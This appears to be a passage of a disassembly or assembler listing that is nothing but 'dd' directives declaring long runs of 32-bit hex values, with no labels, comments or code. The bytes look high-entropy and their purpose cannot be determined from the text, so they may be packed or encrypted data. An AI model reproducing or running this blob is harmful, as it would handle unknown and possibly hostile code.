		dd 5CE95382h, 0B369DB64h, 0CAC90030h, 0CC1240EEh, 70B4B4F5h
		dd 2D0065E1h, 94900CBDh, 9C5F674h, 60018F37h, 1B8214C7h
		dd 4431F753h, 79820124h, 17052286h, 436C20DAh, 35EF4900h
		dd 3E8010C3h, 0A29F0004h, 2601CFBFh, 670078B1h,	8B88A854h
		dd 79B6031Bh, 8F4F156h,	0A51E00E8h, 7A4D8ADh, 7B3AF020h
		dd 4B097E7Ah, 8001F87Ch, 35FD01Dh, 0E5C918B3h, 11B028A3h
		dd 6E0FCC00h, 96AAA504h, 82F0EB3Dh, 0B108C054h,	0E741ADB7h
		dd 32448A00h, 0C07B4FF8h, 13B403BDh, 91A4FDC9h,	1D5EAD8h
		dd 0B86EF900h, 3541C2C1h, 53A10024h, 0EF9E582Ah, 0BCAB9FEAh
		dd 92475900h, 769CA9D0h, 0C1A40EB3h, 9A061EDh, 94B0EBB5h
		dd 68A0B72Ah, 680CE3h, 0FFFB2767h, 0AC5D48E7h, 8D06567Ah
		dd 0A0473025h, 4C1EFC29h, 5E016B78h, 0C62A7F50h, 6E49C4E5h
		dd 72BFC100h, 0F5162280h, 767D0383h, 356DDF1Ah,	0FB6EA11Bh
		dd 7187C049h, 3FFF00E6h, 0EF1B01C6h, 0A504C76h,	0F11F03BCh
		dd 0C305C967h, 0DC007FB4h, 4F76C774h, 97C7D5Ah,	3F14691Bh
		dd 0C3909A88h, 310FB3C3h, 0AF3F9E10h, 2D4F0Fh, 0A5143BF7h
		dd 80DA54A0h, 6B4B09B6h, 1F8C67DEh, 1B492CA1h, 0EEC91514h
		dd 30F316E8h, 0B0B603BEh, 5FC845ADh, 0B11E87AAh, 5943223Fh
		dd 90258524h, 515C8175h, 82CCDC97h, 0F2F9C0F9h,	6BB71412h
		dd 0E30041B0h, 0F744FD5h, 31DFB221h, 5C295167h,	359050AEh
		dd 5B07C713h, 2A706BC0h, 0DF7D2330h, 597F003Bh,	76DE629Fh
		dd 9CAC1AE3h, 41B15C30h, 0D9B992h, 0B263F711h, 0D7A4765h
		dd 0E60F19E2h, 0B5B709D7h, 1CE2DE9Ch, 0C7B670ADh, 803F07EAh
		dd 0B5EFE150h, 812459C0h, 930B862h, 0D73540A1h,	7BF69830h
		dd 57AF4700h, 4BB76B07h, 0E1649196h, 83DC5FA5h,	47D12070h
		dd 0DD610EAAh, 58E0F73Dh, 186BDC5h, 30030FAh, 9AD07EBBh
		dd 383A05Dh, 37E74233h,	0A011B52Fh, 0F453B67Ch,	85C15900h
		dd 0B307AE7Ah, 343C3700h, 8FFB1ACFh, 788C48DBh,	24FA7B10h
		dd 4C2A1203h, 0AEAA6138h, 3809E232h, 0C308B81Bh, 0CC94A8E9h
		dd 9781E93h, 7000BF0Ch,	1B3A017Bh, 5C505243h, 31002268h
		dd 919F417Eh, 3C00297h,	0DCBC5863h, 23B0FCF4h, 8572B104h
		dd 6027E7h, 8BD34806h, 29E765h,	0D8E52C43h, 9ACAD2Eh, 0F0258C05h
		dd 0CC210CE9h, 582564DFh, 20A92442h, 7D88EF4Fh,	0D0002CE2h
		dd 0FB478071h, 74DE6AA4h, 4831C959h, 0CFD16402h, 1B76B202h
		dd 0AEB8E0D0h, 95834A9h, 7ADD1DCh, 81E686DBh, 0DCEE507Dh
		dd 0A41BDE82h, 0C129E157h, 4180056Ah, 603F133Bh, 5714C974h
		dd 0A480F6BCh, 8715E020h, 0DE660F77h, 24207BFFh, 0BAA46B47h
		dd 0BB4D3B01h, 0B8B26735h, 316ECC40h, 0E0AB21h,	331A9450h
		dd 83772353h
		dd 86EAFA00h, 18E5AE3h,	99E060C9h, 0A1D03851h, 0C69938h
		dd 77B8A7FFh, 935481Ch,	365BDF55h, 50F85C91h, 0BF60230h
		dd 18491B32h, 59802016h, 0FD26CC91h, 91CEE0FAh,	49EE7C80h
		dd 88A8A55Ch, 640F8088h, 74289D4h, 20B7C25h, 41138227h
		dd 0C31724B4h, 0B91CE2C8h, 0F7DCE71Dh, 0DC8E2800h, 59421F7Ah
		dd 3800042Ch, 0FF81ADF0h, 50EAD3AFh, 60A8C625h,	39619E05h
		dd 3EB13A33h, 0BD16C228h, 0C7CE806Eh, 0F91A4A2Dh, 8A070054h
		dd 0C10197DFh, 4467E840h, 2F705598h, 13B18B8h, 609F38CEh
		dd 5040D9A0h, 0B2F70928h, 0D55D80h, 0C84BA156h,	5F8448DCh
		dd 8E624E00h, 93876030h, 0A02C0379h, 2F9B19A2h,	8092E9C8h
		dd 3C0E36F6h, 21F995BCh, 293950CBh, 2263CCh, 9A81A1A3h
		dd 1B6035A7h, 5E0C9B7Fh, 80CD1120h, 0B9AC1C62h,	0D9CAC0EAh
		dd 0C0F7D7A1h, 9587F0Ch, 0A4E902h, 6CBF1069h, 0BE0BAD0Ah
		dd 71624A01h, 0CF7D9BF6h, 0A8914886h, 21303105h, 0B894F120h
		dd 0AA67058Fh, 8362D29Fh, 7BE8AE3Fh, 0D814107Dh, 0C080CA08h
		dd 0F858EB9Ah, 9BD200B7h, 95B9CB8Dh, 5115B1DEh,	829CA1E0h
		dd 23EFB091h, 717C98F7h, 52896324h, 0A0186018h,	2273886Ah
		dd 0AB16F1C0h, 0EA66ADECh, 0FB5306B5h, 0B8E54DAAh, 2EE91E44h
		dd 7EBB075h, 0C09643D8h, 72AD4216h, 35565A00h, 48631710h
		dd 60C07D65h, 99CE583Dh, 58011BA1h, 2FCF0E93h, 8884CA84h
		dd 406BC138h, 0C3B02AC9h, 0F4FC75h, 8C63EB2h, 0C224379Ah
		dd 4D070500h, 0CBF8CFA8h, 0D79E0551h, 607B26D1h, 94C321C8h
		dd 3E9C900h, 375778C8h,	608E7CF3h, 0EC8D71C7h, 0D3003E95h
		dd 0F8B03314h, 0E2E2FB77h, 0F54201AFh, 0A02E3271h, 0ED998D19h
		dd 3BE008F3h, 1FEA18AEh, 0A662B111h, 44496BFAh,	535F3E3Ch
		dd 14E80284h, 4326244Dh, 2A6CA83Ch, 7A33008Ch, 92824658h
		dd 0AA83DF97h, 9AD899B4h, 8D153009h, 5784A602h,	910F2335h
		dd 184309D4h, 0FC3A8017h, 1BE60393h, 9555B5A8h,	6CC1801Bh
		dd 83269849h, 4FD91C78h, 7EE67Dh, 9EDE0C0Ah, 25057ACBh
		dd 5C59B5B3h, 4B6DE042h, 20DCAE3Ch, 608F5495h, 0A13B0CABh
		dd 0ECA11B21h, 8BA4A00h, 472AD586h, 221000F4h, 0CD16961Ch
		dd 631EA451h, 9409F741h, 0CC3424FAh, 8E45E640h,	9F1872B3h
		dd 0A150CA5Bh, 34DA4856h, 0AA2707C0h, 4000554Ch, 0CC8013D3h
		dd 0C0659196h, 772581F8h, 0B402D833h, 9CF70F8Bh, 21B84488h
		dd 1F11274Ch, 1DF91500h, 6234A282h, 36E1DC02h, 48C62068h
		dd 0AD480Ch, 0A681C112h, 0E25A1CB5h, 0C3395F00h, 0F8B3E8DAh
		dd 0BDA90598h, 5E578F71h, 1C381194h, 97C1F688h,	16A2DCA0h
		dd 91BA0FCCh, 14C90114h, 0F4819CFDh, 0EAFCBC1Bh, 417911B0h
		dd 39C1B300h, 0C4E4B0E8h, 0A62D00CBh, 0E723F00Dh, 987218DAh
		dd 33C6C302h, 81213296h, 995B5C58h, 768ED4h, 85917CD9h
		dd 0B13F787Dh, 736A53Eh, 0BE65ACA6h, 0F2838C5Ah, 0A0E6681Dh
		dd 3B0C9Eh, 285ABECh, 170F8C97h, 0EB45895h, 0FCCB5E13h
		dd 0B7D68120h, 3B078864h, 797313Dh, 2CD81859h, 0C89B0093h
		dd 0B490506Ch, 0BF008A71h, 97CBB7E5h, 4D799DC7h, 3902F0CFh
		dd 83D105D9h, 7CC2DC81h, 0F1CC501Dh, 54E1B792h,	3C4C82D8h
		dd 0B9A1C220h, 25E1CDAh, 14EF8049h, 3E5CFE70h, 7D343B1Eh
		dd 0C8422070h, 0BC230027h, 3F0C5414h, 50F521D4h, 0EBEF9994h
		dd 231F2A03h, 885EA53Ah, 76C30A7Fh, 0B56E0432h,	902F79ABh
		dd 6E939A8h, 4CA9F960h,	54741D7Bh, 0A2E429h, 990FCF0Dh
		dd 0A8F9CB75h, 9048B690h, 58C11808h, 0A00F16B9h, 0C4D9DF5h
		dd 0ECD82046h, 0BDECAE41h, 1AC88F54h, 6E0090EAh, 0ACD2CBEEh
		dd 2699F59Dh, 7E89AE4h,	4143103Ah, 349FBDC0h, 0EF4908E0h
		dd 415006C0h, 4818D739h, 5300BC13h, 803FC1B7h, 78014E5Bh
		dd 83979C51h, 0B8588CCDh, 891C1h, 0E70FB41h, 0CC013106h
		dd 6697E7E0h, 0E0202C0Ch, 9D07139Eh, 2F580BF7h,	2341E58Ch
		dd 9FE4DA48h, 0E020AE16h, 54095D3Eh, 15E429h, 37A3FDA2h
		dd 86287F39h, 780150F8h, 6640E28Eh, 58624155h, 51367318h
		dd 6B000CCEh, 8F92FE6Eh, 2A58A9AAh, 9AC571Ah, 9B3C16EDh
		dd 9DF41480h, 5116DB86h, 280A613Fh, 41915018h, 9EF73906h
		dd 913C4159h, 5069E7B4h, 17850881h, 0E0EE2061h,	80E3FF04h
		dd 1F6AAA92h, 0C96AB8C9h, 7811B403h, 1E68047h, 0D0F011Fh
		dd 85E376ADh, 0A0E06165h, 6C86B070h, 0EF37E600h, 0C2AE00Ah
		dd 8B7900B8h, 0B9FE9B98h, 0FB047D2Ch, 99B0E5DCh, 9A9604C1h
		dd 137F7820h, 20BDEF81h, 0A9C375E4h, 13218B00h,	9E598993h
		dd 0AA413E34h, 0E46C8000h, 0B6FD0C3Fh, 12F8C153h, 0BF055710h
		dd 8C30131Fh, 80BF5B20h, 3065ED23h, 54C80919h, 40790046h
		dd 0C1493C35h, 0F20028C5h, 0A4055EEBh, 7681CD6Eh, 828D002Dh
		dd 9721FFF1h, 0EC38A523h, 39F67556h, 6C44BD00h,	9CDEA017h
		dd 0C07500BCh, 0E7133F35h, 0FC122C1Fh, 5207E2D8h, 0E3002E05h
		dd 1A79165h, 99A1E76h, 81877B53h, 0D801EA58h, 6986D2CEh
		dd 1898A0F9h, 583DF6F0h, 59901DE1h, 491B9103h, 372875D3h
		dd 6058F9ECh, 0D66E9B45h, 49BB0501h, 0BF16F64Ah, 9EE40C41h
		dd 0AA216981h, 8DBD74h,	0BB457Bh, 0E0A0FA22h, 0F721E9E5h
		dd 32A2C81Eh, 0F45B6EC1h, 0C8FB0BE7h, 30FA252Bh, 0BE29C29Fh
		dd 88C0E8FBh, 868A96ACh, 8F6F48FCh, 6666E00h, 35AA1519h
		dd 32E4C806h, 0E39E25Ch, 0CE2B5938h, 0FE41EC40h, 3D0540CAh
		dd 79532271h, 0F4EA8040h, 0A252F7h, 0D4696E95h,	7087BB30h
		dd 0EF9CCD00h, 73AD6253h, 16DC00E9h, 0DA2542F3h, 0E0F51E6Fh
		dd 11C35A0Bh, 7AEBA56h,	946DF729h, 0AA533091h, 3C03F660h
		dd 0D16807Eh, 2A797DEFh, 7949B68h, 0E6053850h, 71800E5Eh
		dd 0FCEFF81Ch, 4B2FB302h, 0A0521682h, 5F5643C4h, 0DF800001h
		dd 3668F750h, 5D003206h, 0EF92A9FAh, 0C3A895ABh, 541A9158h
		dd 7956390Ch, 0A101F193h, 0D8C0A9F4h, 91ED00E4h, 85340E68h
		dd 0A1303C06h, 56FC2920h, 64D60044h, 824C4965h,	44A34E11h
		dd 8106F4CBh, 0FAF19F31h, 2BF02D9h, 8F5F88D9h, 0EFAEF9C1h
		dd 99945100h, 0EB21DD41h, 955300CAh, 8569ECBBh,	0E5009EE9h
		dd 0EF101C2Dh, 265B020h, 0CBF752DDh, 0D083BC93h, 49152A7Ah
		dd 7F0CD5Ch, 4F45D806h,	0B615320h, 1550F7Eh, 1F60D611h
		dd 93D0B74Eh, 85DF5C0Fh, 0BA4138DEh, 0A8B90EF1h, 0FDAC08A1h
		dd 30008DB9h, 36D32F88h, 0F0E5CE5h, 0EE68CE4Ah,	3CE856C0h
		dd 6C581A82h, 0F1A80C87h, 7FA39F6h, 0D516B5C7h,	97A704Eh
		dd 3800FF95h, 1FBB8D56h, 7E011A47h, 60CB3A44h, 0DDE92B80h
		dd 0B4735689h, 17D18D00h, 0BEFFF216h, 0DABB898h, 0E5F0D6D2h
		dd 0F4CBF561h, 5200B5BCh, 1BFB556Ch, 3DC760C5h,	3E00205Ah
		dd 6CB0714h, 72EAA02Eh,	3DBB250Fh, 94CA6AE4h, 0F9D6D886h
		dd 86DB2A51h, 45B00084h, 1764EC7Eh, 213E1CEDh, 2D1F0171h
		dd 20AED6D5h, 4C53BC42h, 0A455F01Ch, 648212A4h,	6C08424Ch
		dd 2464D640h, 77171600h, 0D455C0DBh, 63BFEECEh,	1E7C1176h
		dd 5141E7D0h, 6E3B2F00h, 0EC8D9215h, 0F45700C4h, 63F128EFh
		dd 5E048812h, 75944B0Bh, 0A4063883h, 0F7BAA880h, 0C07E4839h
		dd 64A80A24h, 6208375Bh, 84A0E45Dh, 0EDBF2DDh, 43021D00h
		dd 3768EE79h, 0A51A1292h, 24A000F7h, 55F2107Eh,	0AA1F9B06h
		dd 61F8F1h, 78A48CE9h
		dd 655CE8E7h, 0D3741000h, 4A4CFC50h, 40F86189h,	51B96F56h
		dd 83647084h, 0F75E4F80h, 9A9B9A54h, 715C0590h,	8CD814h
		dd 392FEBF5h, 0A04D77FCh, 615510h, 2DEECE9Bh, 0CB4F6BD3h
		dd 3B99F03Ah, 0A0330214h, 0A353BEF7h, 0F06DF6C4h, 8E8234h
		dd 2637C291h, 95FCECCCh, 0C8D6E800h, 40CDF593h,	56150006h
		dd 0F76DC197h, 0EB50B948h, 944479F8h, 4FC03099h, 7B2B6559h
		dd 0DE25E71Dh, 9A532130h, 32E800D5h, 15FFF90Ah,	0DE1068CFh
		dd 9109730Eh, 0DCA5FA62h, 0C8A420F4h, 2F00FB30h, 0F0175BDDh
		dd 7D375F64h, 8092507Eh, 60147D4Bh, 26437950h, 44017406h
		dd 60A8F3E1h, 1434F805h, 14BF5001h, 0BB1300AFh,	94DC72EAh
		dd 0A1035CBCh, 0DE4205B1h, 0C5B1007Dh, 2ED8CF8h, 3B007C70h
		dd 80CAAFE7h, 0ABA858h,	2BE297BDh, 0C9D8F436h, 0E9EBD344h
		dd 9E4E9880h, 91EC505Ch, 23AC33E7h, 0BA64247Bh,	13D0D185h
		dd 0CA500351h, 0C0BE20B0h, 0B6FE600h, 0B3FF0470h, 869D2F0h
		dd 9E80E46Ch, 0B8D1879Dh, 4C4000A5h, 0D331DBEFh, 0DF3A382Dh
		dd 0AD630096h, 779A3F83h, 7907005Ah, 0F2D614A7h, 4F309448h
		dd 0B8102839h, 10BFE98Bh, 0C57A221Fh, 0C759090Ah, 37F983DDh
		dd 873B2800h, 67D61A3Dh, 7C3601E8h, 0C442D854h,	0C8E03191h
		dd 1B0006B1h, 3BB9059Ch, 52A5560h, 0D9B06C2Dh, 0AE380018h
		dd 8E1489B4h, 94530403h, 18F39110h, 29B19281h, 443CDC1Bh
		dd 852F0E4Ah, 702BE09Dh, 101042E8h, 795DD92h, 54D2EEE3h
		dd 0EE590E33h, 0DB2831C9h, 6F1F8351h, 11500E0h,	5278778Ah
		dd 0F84603EBh, 710324ACh, 0B0AAF58h, 0D37918A7h, 1BE3F1FFh
		dd 0C8254C05h, 0BE01C4D5h, 0D952173Ah, 0C5DEF0h, 66468FAAh
		dd 0A92B0E30h, 810F9030h, 2E0B81h, 2D06CFC4h, 0EB89B336h
		dd 80F2E8C8h, 0AFAE35FFh, 800C999Eh, 81BA93B3h,	60F60019h
		dd 0A01B588Bh, 98054156h, 0D7076D99h, 686DA1Ch,	48E023h
		dd 0E37179F9h, 53F64712h, 6E97AC07h, 0DAA041DDh, 39D88E5h
		dd 0E8682BBBh, 0D900FED3h, 620C870Dh, 2C89B0C9h, 1A0D2B6h
		dd 4BEE18C1h, 9FDFE840h, 0CD2DF007h, 0D5509B8Ah, 1CEA1D3h
		dd 0ECADB02Ah, 80A59213h, 745F17B1h, 0F76F11Ch,	0D8A3B736h
		dd 0E3DE2B80h, 943A4254h, 0DBF6801Fh, 0A619BAEEh, 3D55B01Eh
		dd 0B14C1A2h, 37010CC8h, 22DF7338h, 0AF0C2009h,	1660D9ECh
		dd 7D1D9669h, 224312F7h, 0C4C102EAh, 0A8A00D0Ah, 53CF3EDFh
		dd 7638DB18h, 912B6031h, 0D57A0004h, 7C40F641h,	0BD3F5800h
		dd 78D286E6h, 0D8C300D0h, 521EBC1Ah, 44915EFh, 0ED2750A0h
		dd 0B39241C6h, 0B2D90569h, 80CE1F57h, 0ABA966B3h, 6FC0454h
		dd 9FAC0C48h, 8611D508h, 1997A3E0h, 0BF8E1B07h,	15206924h
		dd 6006187Ah, 898C11BEh, 9101AF43h, 5CCEB7A6h, 2F602223h
		dd 6786392Bh, 0A391EEB3h, 0BDB95998h, 858C0600h, 0D5471DB5h
		dd 0C5A6019Dh, 0CE55E697h, 8168F05Eh, 0BCD20C04h, 348CB21Ch
		dd 422507C5h, 7096F8ABh, 0C166B37Ah, 8E48D971h,	98870058h
		dd 0CE82DCBDh, 79E6614Dh, 0E8A133FFh, 2B54D347h, 5170C594h
		dd 9A6CFC00h, 490F2FAh,	0AEBE0088h, 10B39154h, 41C2E78Ch
		dd 0A14E14F0h, 0F22B62D0h, 70540A11h, 34039B3Eh, 0C74C035Fh
		dd 8B66D8EDh, 3B30C160h, 10E58E10h, 8D9FA0h, 0AEA36280h
		dd 673330E2h, 43A78B00h, 0A2FF38A6h, 0B6872210h, 0F9DF927Bh
		dd 8A3EEF40h, 0A1717Bh,	4A88E858h, 4651AC99h, 3311A00h
		dd 98E5E1F4h, 3EBC261Ch, 0EC0D1410h, 4010A7C4h,	0AE9DA006h
		dd 17210940h, 0AC8FE43Ah, 3C5A94FCh, 7309AC22h,	805261C9h
		dd 8BBE2D9h, 4801F93h, 98E10E79h, 603001BDh, 50D89933h
		dd 0D65F8B08h, 2C043BE0h, 0B017EF78h, 90102C90h, 1CCCA4F4h
		dd 0C0A4681Ah, 4BBF1536h, 8F3D583Bh, 0E470A89h,	0CE67E08Ah
		dd 6461320h, 0DCC9C00Ah, 0E6C60DD9h, 0BE3E8E1Eh, 0B1B2944h
		dd 8868C8h, 73A0821Eh, 94C07F58h, 0D0A18F00h, 0F8DB159Ch
		dd 0C94A0F13h, 0E8819055h, 0F0D499EFh, 0A1E20AF0h, 84018905h
		dd 0CC0F4E9Bh, 0F2042035h, 90B4BD75h, 931028E4h, 2C2F4850h
		dd 20FA8BC0h, 0BA0BC5C2h, 0A8B637h, 0B4C1F9BAh,	7C722DE3h
		dd 0CB039F58h, 0A6BF73E0h, 63D802Bh, 0FAB9C00Dh, 70879460h
		dd 0A376C277h, 766B6C01h, 0EA3A0D64h, 351B1F8h,	15DC3FCAh
		dd 1BB31206h, 8C8598A0h, 0B41CB872h, 9193AF40h,	0AC930020h
		dd 543F44Eh, 3B6CC43Ah,	3170814Ah, 0DBC91055h, 82B8992Bh
		dd 23A41C4Ch, 161D8560h, 40B15900h, 3E7C8A7Eh, 8CC700F8h
		dd 6F5D0C95h, 0C2389EE8h, 0D03600A9h, 32DAFFFDh, 0D70A0112h
		dd 575A44B1h, 3C94C4A6h, 0AFCE3Ah, 22691876h, 236191Bh
		dd 0E97D5781h, 9940340Bh, 0C62D8DBFh, 0EC47654h, 0C8985893h
		dd 3600AEEBh, 0F1C98EF7h, 4917DA28h, 0AF016C91h, 0EABDEC77h
		dd 0AC6C48C7h, 0C3648h,	0BC7D5921h, 5566099Ah, 6F88C45h
		dd 0FA4CB222h, 75771EACh, 0BB3800F0h, 31CCA5D5h, 1865F213h
		dd 47950C07h, 3608E340h, 33AB1252h, 65BC002Dh, 4C9053E2h
		dd 0D5009D7Ch, 110DDB64h, 16CAD00Ah, 197F839h, 0C4AA0221h
		dd 34C326Eh, 1B2CC0Ah, 574EC049h, 8D45009h, 7141041Ch
		dd 851A9E07h, 68E804D0h, 0AE364098h, 133883BEh,	22CF1306h
		dd 0C7279BE4h, 1D851C6h, 0DA6B3460h, 30E68853h,	0BEFE0D8Ch
		dd 0C3BA1F09h, 60B88F3Dh, 931CB78Bh, 1E41C0A9h,	687FB3C4h
		dd 0F6D5AB1Eh, 62BE10C0h, 0F6052A13h, 6C095C9Bh, 7CC9D33Bh
		dd 0DBC54000h, 58F08DEBh, 0C6C6600h, 5A3246C9h,	0AE530029h
		dd 54EE4BD7h, 0F302E52Dh, 93C08BD8h, 0F400C13Fh, 0CD970841h
		dd 14A8A9C0h, 0BCB77438h, 3BA64A07h, 0B960BE03h, 29D9D8BEh
		dd 3757AD02h, 0A0DC2CAEh, 1A3540A8h, 0C8E60063h, 921FD90Eh
		dd 0CA039A5Ah, 0DA25AF6Fh, 0B9149133h, 1A2DBC70h, 0C1022CEFh
		dd 6F0050C6h, 0C062A5FBh, 912142h, 0CF29ED98h, 2850110Bh
		dd 8028F969h, 1F15F008h, 409014h, 5C093B36h, 0DEA36D7Ch
		dd 0EC8F1015h, 22F016D8h, 0E1372020h, 0EDD90949h, 38802986h
		dd 0F2E31A0Fh, 888CE600h, 738B54CEh, 0BB90094h,	92D890BBh
		dd 2B008E2Ah, 175E1BF1h, 0B16024h, 0DAC37994h, 508BD049h
		dd 5C73DB07h, 104B0AC0h, 0B93698h, 0CE212E77h, 78B84041h
		dd 652BB317h, 384EA712h, 0B44296DAh, 4CAEC494h,	0D2A915ECh
		dd 0D9008CF1h, 0EFEA70A2h, 38B9CE8Bh, 3AEDE501h, 2FF47A83h
		dd 1D7188h, 0C5554037h,	0E7BB8776h, 583CC424h, 12573F0Eh
		dd 0CF361C00h, 99D0815Bh, 62C20038h, 46A0C42Eh,	7C01D27Eh
		dd 0F503A3C7h, 28E0EEA2h, 928900B5h, 63D178C2h,	8B00BE85h
		dd 0FE13F35Ah, 692CCE42h, 619D4h, 0AF71A127h, 0CCC40B07h
		dd 0BAF94CEh, 64C05B1h,	228888h, 0B84112C1h, 0AAEB98Eh
		dd 0A0950B2Ah, 58AC3400h, 0E5CE6629h, 53D609BCh, 0FC14F468h
		dd 0C600C82h, 1CB9E88Eh, 0E2BE44BAh, 0AE4A33B0h, 0B3883680h
		dd 2898C06Dh, 0F39A0B00h, 0F73F7A7h, 4060B8BFh,	0DF0097D4h
		dd 3756C6E0h, 54A3671Dh, 60ADCCEEh, 4938C113h, 83B855B6h
		dd 857C2E4Ch, 0E0C0CEBFh, 582D0D0Ch, 7DC0303Bh,	73919C60h
		dd 0CFE7A007h, 0D2C19590h, 8C20F3FCh, 80209428h, 1781BECAh
		dd 0F00D82Eh, 74B02A16h, 7641A41h, 15C70CACh, 0A9014093h
		dd 78C53ECFh, 9CC8284Fh, 0D4543E6Bh, 0AFC62082h, 4E2FE829h
		dd 8BC7C0C0h, 1D6401Bh
		dd 0CEB862ECh, 9352D31Ah, 1090EFC1h, 180F2BD5h,	41898A10h
		dd 0BE008CD6h, 0CA88B3CEh, 3C2C0403h, 940014E8h, 216EDD25h
		dd 0FD0AE052h, 8DB21EF2h, 682B4409h, 3B3AD8h, 0AD20B189h
		dd 0B57AC2C1h, 7107AE7Ch, 0D91BF362h, 0B3D81929h, 8513AE1h
		dd 1024EC2Bh, 60CD48FFh, 0AC655880h, 8CCBFCBFh,	0BED60375h
		dd 0C5CDD814h, 0B22209B6h, 4432Bh, 6DDCB493h, 0C86F530Fh
		dd 2320C048h, 6A862Eh, 9ABF3A8Ah, 44346DD7h, 0BE043BF6h
		dd 8E18A98Ch, 2E92DC88h, 13BA9791h, 8911AC7h, 0F8410CB0h
		dd 93393209h, 30E444A8h, 8E210EF1h, 8DF28216h, 1025B674h
		dd 0FF542089h, 13CC067h, 0B0668B29h, 0D8C93FF5h, 0E4904076h
		dd 1FF3710h, 0B862FC41h, 9C6DD90Bh, 5D293480h, 67340655h
		dd 14CC79ECh, 1EAF7h, 5F4BEA88h, 5251CBBFh, 0FE93573Eh
		dd 84FBDB09h, 2E404891h, 0E07B61h, 0F68BF8D6h, 104AA530h
		dd 7AC89016h, 0A08AA420h, 0BCF424ACh, 0AD928C48h, 1B83C41h
		dd 6D710D0Eh, 0ECA42133h, 946249E2h, 0D9360174h, 0D3AA6AD8h
		dd 68020EDh, 30A6625h, 2CD0E0h,	13190DB9h, 4606BD26h, 4CB7F53Eh
		dd 24A026AAh, 3AE28840h, 0BED26FBh, 90182A0Ch, 7FBDF038h
		dd 8B3C044Eh, 814A8110h, 0E024C8h, 6B75EEh, 0C361139Bh
		dd 3AC76393h, 0BF03E600h, 1E4DF1FBh, 88AE0234h,	69D0096Dh
		dd 12060069h, 0A85228h,	0C51B4DA6h, 0FCC0FB5Bh,	2E0CD77Ch
		dd 0F1B06709h, 46AC3C36h, 0D97BEC82h, 0F8605F63h, 114D1F6Dh
		dd 8AB93ECCh, 6C071C6Ah, 6806013Ch, 4D617260h, 3C2464F2h
		dd 7E0F2ED0h, 6740A98Dh, 0C143CBCDh, 0B26DB400h, 0D173E0F3h
		dd 78525CCEh, 458CF1CAh, 85D81098h, 8224BD00h, 18858CC2h
		dd 84709248h, 5C88A590h, 0EDCB1231h, 0E5243034h, 5000E474h
		dd 8712FC83h, 0FA7FA7h,	0CD0F91BFh, 0F7D3DCCAh,	93543271h
		dd 0A481B24h, 0CE8E8458h, 2168092h, 0A210F087h,	0F949107h
		dd 0AD60E1B0h, 0AC3B0433h, 79259704h, 348C0E47h, 0B50500BEh
		dd 14D66A06h, 0EB1C91DAh, 0B8711B3Ah, 0D3C4A8BAh, 2189003h
		dd 0EE1DB02h, 18C1E215h, 0E134388Ah, 0CC4867BDh, 303E0B9Eh
		dd 6C101BEFh, 9096B810h, 8C543A40h, 997664DDh, 639E40AEh
		dd 1D2C860h, 0C4B954E9h, 46740936h, 92508010h, 66242A24h
		dd 43DE4C9h, 97A694F3h,	0CD7BCD8h, 0D92B4A51h, 2604AC11h
		dd 59E0459h, 43B0A280h,	0BC37F25h, 4BF33684h, 6F064C02h
		dd 0A8314C51h, 0A712B321h, 0F80FB220h, 6D4348DAh, 9387953Ch
		dd 308B470Eh, 0B77515B4h, 0A0C2B832h, 3C90C6BEh, 4A0AAF3Ch
		dd 808C2AD3h, 0CCF3BD03h, 230325DAh, 1DA4A9D6h,	4FB381C3h
		dd 0E002023h, 0D565B8E0h, 0AA00EA24h, 5651F650h, 8252ECh
		dd 0D0021607h, 0B90EC13Eh, 0E3679B05h, 8433FA3h, 0AF93DBh
		dd 4E3642C1h, 8843523Dh, 1C002474h, 2396A9D9h, 481AFEEEh
		dd 9F6C93h, 33A2D4A1h, 7A161529h, 4C0F483h, 965122F0h
		dd 3E28068h, 0E188FC3Bh, 209846E5h, 962A144h, 2A8F6FEDh
		dd 84D3C4A2h, 6008E4A9h, 7AA347B8h, 0FC19003Ch,	0DB907155h
		dd 89919706h, 216093E3h, 443E943Dh, 26877C36h, 3B3840A2h
		dd 170B0691h, 70FEE74h,	23FF859Bh, 3BF2CCC0h, 7E6F3109h
		dd 2DAAA979h, 0AC2824ACh, 3E634C40h, 0B2600052h, 3E930BEh
		dd 6BEED8BBh, 0F704ECB8h, 0D3FA1F3Dh, 52B28224h, 16000C8Eh
		dd 342A6139h, 0FEC8C8F9h, 163F773Ah, 0B001FF15h, 8C48D233h
		dd 88DC6474h, 0CB009463h, 7E1B5806h, 0D998E3h, 68650B80h
		dd 0D0A7E9F2h, 0E1166312h, 8524AC48h, 0E4592FF0h, 8A449138h
		dd 53FF1D6Eh, 16949F56h, 0A890C893h, 0A04AD25Ah, 7C2C8CB0h
		dd 0DB004420h, 90C34A47h, 388EB933h, 0EF820EBEh, 0BA3D6EF4h
		dd 1098E0C0h, 0F06D688h, 2A0DF0D9h, 1914D486h, 0ED6B3C24h
		dd 94530A05h, 6867F804h, 0ED37C743h, 222B6BC1h,	0E115100Ch
		dd 17233803h, 381D08C2h, 5CEA8F10h, 0C93CAD50h,	3E1B0600h
		dd 0AE4497D4h, 99E22C2Ch, 28102788h, 87029E63h,	53F7A27Fh
		dd 3B1C79BFh, 2272F087h, 0FA8A209Eh, 0C3D0FBAh,	98E6BD14h
		dd 0ABA03B96h, 0D271404Fh, 0C85C8948h, 0CF3683B1h, 17902C41h
		dd 0DAF265B5h, 7848F628h, 91369244h, 0D27A8570h, 4E2B8002h
		dd 791631F6h, 0B80023D8h, 78D438E1h, 7420ED19h,	0C58CA08Bh
		dd 6979C4E0h, 18D35EBAh, 7CE21040h, 0E85D89Eh, 0D22F65F7h
		dd 600852FDh, 84CFFE2Ch, 0CB13071Fh, 40F0624Fh,	692E37EBh
		dd 30997FBFh, 0AF5116D3h, 39C0EF2Ch, 0F5F03FD4h, 0BC000BEh
		dd 36F85F6Ah, 5E0F2C6Ch, 0E55D7CB9h, 9460EEAEh,	4DEFDD3h
		dd 93B06096h, 858642B2h, 0ED0CC7Ah, 0DD6DC5BDh,	812411Dh
		dd 50E2A3B0h, 30164E80h, 0BC8A0E28h, 0F880D355h, 0B902E12Ah
		dd 2F171DB4h, 8F6C4990h, 0A89223EAh, 0E6A7138h,	0C0338442h
		dd 0BBC88A02h, 0A75500C0h, 18C6FE8Ch, 86008FAAh, 0E21216BAh
		dd 0BE3610D0h, 69090BC4h, 0ACA93C10h, 8E88124Ch, 6C60AE2Bh
		dd 771DAh, 702F9BF2h, 0B1CB3CFCh, 1FD52100h, 86B013D4h
		dd 5CA0099Dh, 0CC01E86Fh, 0BFA6C194h, 76ADC4A9h, 1CE500B5h
		dd 0F711F38Ch, 0AE2890FCh, 0F039801Bh, 8481E917h, 0FF41B680h
